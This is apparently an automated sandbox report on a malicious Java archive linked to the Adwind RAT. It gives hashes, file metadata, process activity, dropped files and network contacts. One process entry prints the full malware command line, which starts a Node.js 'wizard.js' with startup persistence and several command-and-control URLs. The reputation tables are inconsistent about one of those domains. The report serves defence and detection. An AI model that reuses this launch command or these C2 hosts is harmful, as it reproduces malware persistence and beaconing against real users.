| File name: | Kafan_Sample_d06a88f0edeaf77c468dbabb3580bc6ba4812be5eec6cb8446b9f7f41bcc2494.jar |
| Full analysis: | https://app.any.run/tasks/f0bf0269-eb78-48cc-aec1-9fb53823d4d4 |
| Verdict: | Malicious activity |
| Threats: | Adwind RAT, sometimes also called Unrecom, Sockrat, Frutas, jRat, and JSocket, is a Malware As A Service Remote Access Trojan that attackers can use to collect information from infected machines. It was one of the most popular RATs in the market in 2015. |
| Analysis date: | May 30, 2020, 07:22:30 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/java-archive |
| File info: | Java archive data (JAR) |
| MD5: | BCF2D1A52DCBAA0A5AF0867DF9E1287D |
| SHA1: | 3AB1CCE1CC4D351680F39AD199EDB361A50C9D2F |
| SHA256: | D06A88F0EDEAF77C468DBABB3580BC6BA4812BE5EEC6CB8446B9F7F41BCC2494 |
| SSDEEP: | 96:UVtx7MmLa9EoxR7ouqA+j24UmWX9QEtFvCJDEbyjfLJA0fpIb43N7xBh3glP:Ix7box5pqAvjja9UyjdApE3N1OP |
| .jar | | | Java Archive (78.3) |
|---|---|---|
| .zip | | | ZIP compressed archive (21.6) |
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0808 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 2020:05:25 09:15:11 |
| ZipCRC: | 0x00000000 |
| ZipCompressedSize: | 2 |
| ZipUncompressedSize: | - |
| ZipFileName: | META-INF/ |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 632 | "C:\Program Files\Java\jre1.8.0_92\bin\javaw.exe" -jar "C:\Users\admin\Desktop\Kafan_Sample_d06a88f0edeaf77c468dbabb3580bc6ba4812be5eec6cb8446b9f7f41bcc2494.jar" | C:\Program Files\Java\jre1.8.0_92\bin\javaw.exe | explorer.exe | ||||||||||||
User: admin Company: Oracle Corporation Integrity Level: MEDIUM Description: Java(TM) Platform SE binary Exit code: 0 Version: 8.0.920.14 Modules
| |||||||||||||||
| 3192 | C:\Users\admin\qnodejs-node-v13.13.0-win-x86\node.exe C:\Users\admin\qnodejs-node-v13.13.0-win-x86\qnodejs\wizard.js start --group user:7@qhub-subscription.store.qua.one --register-startup --central-base-url https://central.qhub.qua.one --central-base-url https://3769683.middlegate.qua.one --central-base-url https://fake1.3769683.middlegate.qua.one --central-base-url invalid.https://3769683.middlegate.qua.one | C:\Users\admin\qnodejs-node-v13.13.0-win-x86\node.exe | — | javaw.exe | |||||||||||
User: admin Company: Node.js Integrity Level: MEDIUM Description: Node.js: Server-side JavaScript Exit code: 0 Version: 13.13.0 | |||||||||||||||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 632 | javaw.exe | C:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2378256566\node-v13.13.0-win-x86\node.exe | — | |
MD5:— | SHA256:— | |||
| 632 | javaw.exe | C:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp | text | |
MD5:— | SHA256:— | |||
| 632 | javaw.exe | C:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2378256566\node-v13.13.0-win-x86\install_tools.bat | text | |
MD5:4E46AD93BAC466280DED1D0C19863A26 | SHA256:4B1E875422E7A3BA28DC1A618E7569A27E2A491C161E0ADB742434B14F773BED | |||
| 632 | javaw.exe | C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\83aa4cc77f591dfc2374580bbd95f6ba_90059c37-1320-41a4-b58d-2b75a9850d2f | dbf | |
MD5:C8366AE350E7019AEFC9D1E6E6A498C6 | SHA256:11E6ACA8E682C046C83B721EEB5C72C5EF03CB5936C60DF6F4993511DDC61238 | |||
| 632 | javaw.exe | C:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2378256566\node-v13.13.0-win-x86\node_modules\npm\bin\npm | text | |
MD5:BA553D663CD364A71842375B7613DED2 | SHA256:C7326730E2E51652DC605BCA7CEE7199E6362DD6AE97C8352586E8E96D2CD9D1 | |||
| 632 | javaw.exe | C:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2378256566\node-v13.13.0-win-x86\node_etw_provider.man | text | |
MD5:1D51E18A7247F47245B0751F16119498 | SHA256:1975AA34C1050B8364491394CEBF6E668E2337C3107712E3EECA311262C7C46F | |||
| 632 | javaw.exe | C:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2378256566\node-v13.13.0-win-x86\node_modules\npm\.licensee.json | text | |
MD5:B133415ABE39E5C1865AAD84712B3941 | SHA256:66218BC67A524799BA7CCAD7C493A8D24EEED81C07BED24E0C3034ABA6014061 | |||
| 632 | javaw.exe | C:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2378256566\node-v13.13.0-win-x86\node_modules\npm\bin\node-gyp-bin\node-gyp.cmd | text | |
MD5:BB78133F243EC53A16C89C436AB54216 | SHA256:8CB8B915E6F433F7F8994EAE04E74595D5A169D1E593833BB4A5F2CBE213F02D | |||
| 632 | javaw.exe | C:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2378256566\node-v13.13.0-win-x86\nodevars.bat | text | |
MD5:E6636C5B093F5CC13DFB7508305B8D8B | SHA256:A2B020E2F641524C6FD1B8EBBCD9EE03C7DC44009F2B78E701E773AD048BE9A5 | |||
| 632 | javaw.exe | C:\Users\admin\qnodejs-node-v13.13.0-win-x86.tmp2378256566\node-v13.13.0-win-x86\node_modules\npm\.mailmap | text | |
MD5:50FF5F4745B5210D1DDC6CB3AD21216B | SHA256:EC219650D5ED44D58B1F6CD6E8CCC116E118D7569E09ED19E9B80F5C8BE87D5B | |||
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
632 | javaw.exe | 104.20.23.46:443 | nodejs.org | Cloudflare Inc | US | shared |
— | — | 64.225.101.88:443 | central.qhub.qua.one | Peer 1 Network (USA) Inc. | US | malicious |
Domain | IP | Reputation |
|---|---|---|
nodejs.org |
| whitelisted |
central.qhub.qua.one |
| whitelisted |